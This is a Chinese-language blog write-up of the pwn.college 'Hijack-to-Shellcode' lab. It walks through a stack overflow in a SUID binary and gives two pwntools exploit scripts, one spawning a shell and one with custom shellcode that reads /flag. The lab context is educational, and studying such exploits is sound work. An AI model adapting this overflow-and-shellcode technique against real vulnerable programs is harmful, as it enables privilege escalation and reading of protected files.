Hijack-to-Shellcode

题目简介

基础的栈溢出,在/challenge目录下仅存在一个ELF文件,无源代码,需要我们构造输入劫持返回地址,根据题目名字能猜到是要劫持到shellcode起始地址

漏洞点分析

分析一个程序首先要分析有没有溢出点,溢出点在哪里。分析方法和上一题一致,这里省略

接下来用checksec看一下开了哪些保护


发现保护全关,因此漏洞点就是缓冲区溢出覆写返回地址,劫持到我们的shellcode

漏洞点利用

首先确定偏移量,可以采用和pwn.college题解:Control-Hijack相同的方法,最后计算得到偏移量=120

第二步需要确定返回地址,即我们的shellcode的起始地址是哪,首先很自然想到将shellcode放在返回地址后面

通过gdb,在challenge函数的ret指令处打下断点,程序将停在ret指令之前,此时再次使用x命令查看$rsp,由于ret本质是进行pop rip操作,因此rsp此时指向的第一个内存格子就是返回地址,如下图


从图中看到返回地址=0x7fffffffd608,因此应该将返回地址覆写为0x7fffffffd610,但是不能这么干,因为这样gdb调试得到的返回地址其实是不准确的,因为gdb会引入一些环境变量导致栈的空间改变

在实战中,更多采用NOP滑行的方法,即在真正的shellcode之前填入若干个NOP指令,返回地址只要确定一个大概范围,最后能命中这些NOP里的任何一个即可,这里我选择的是0x7fffffffd660,在返回地址后面0x50个字节。

现在可以编写出如下的exp了

1
2
3
4
5
6
7
8
9
10
11
12
from pwn import *
import struct
import os
returnAddr=0x7fffffffd660
context(os='linux', arch='x86_64',log_level='debug')
p = process('/challenge/binary-exploitation-hijack-to-shellcode')
shellcode=asm(shellcraft.sh())
payload=b"1"*120+p64(returnAddr)+b'\x90'*0x200+shellcode
p.recvuntil('Send your payload (up to 4096 bytes)!\n')
p.send(payload)
p.recv()
p.interactive()

getshell的临门一脚

很遗憾,上述脚本实测无法打通,这是由于pwn.college的问题,子进程并没有继承root权限,导致读取/flag文件时权限错误

至于为什么出现这种原因,怀疑是pwn.college服务器的sh是指向bash的,由于目标程序是通过SUID获得了root权限,而bash解释器默认会阻止SUID程序的子进程继承权限(不同于zsh等)。所以调用/bin/sh没有root

有2种办法解决,一个是在调用/bin/sh之前进行一次setuid(0)的操作,另一种是改一下shellcode,直接通过系统调用完成输出flag,我这题采用了后者

最终exp.py如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
from pwn import *
import struct
import os
returnAddr=0x7fffffffd660
context(os='linux', arch='x86_64',log_level='debug')
p = process('/challenge/binary-exploitation-hijack-to-shellcode')
shellcode= asm('''
.intel_syntax noprefix
mov r10,0x67616c662f2f2f2f
shr r10,24
push r10
lea rdi,[rsp]
xor rsi,rsi
xor rax,rax
push 2
pop rax
syscall

mov rdi,rax
sub rsp,100
lea rsi,[rsp]
xor rdx,rdx
push 100
pop rdx
xor rax,rax
syscall

xor rdi,rdi
push 1
pop rdi
lea rsi,[rsp]
xor rax,rax
push 1
pop rax
syscall

''')
payload=b"1"*120+p64(returnAddr)+b'\x90'*0x200+shellcode
p.recvuntil('Send your payload (up to 4096 bytes)!\n')
p.send(payload)
output = p.recvall()
print(output.decode(errors='ignore'))

最后也是成功拿到了flag


Hijack-to-Shellcode
http://0x4a-210.github.io/2025/07/20/pwn.college/Intro-to-Cybersecurity/Pwn/Hijack-to-Shellcode/
Posted on
July 20, 2025
Licensed under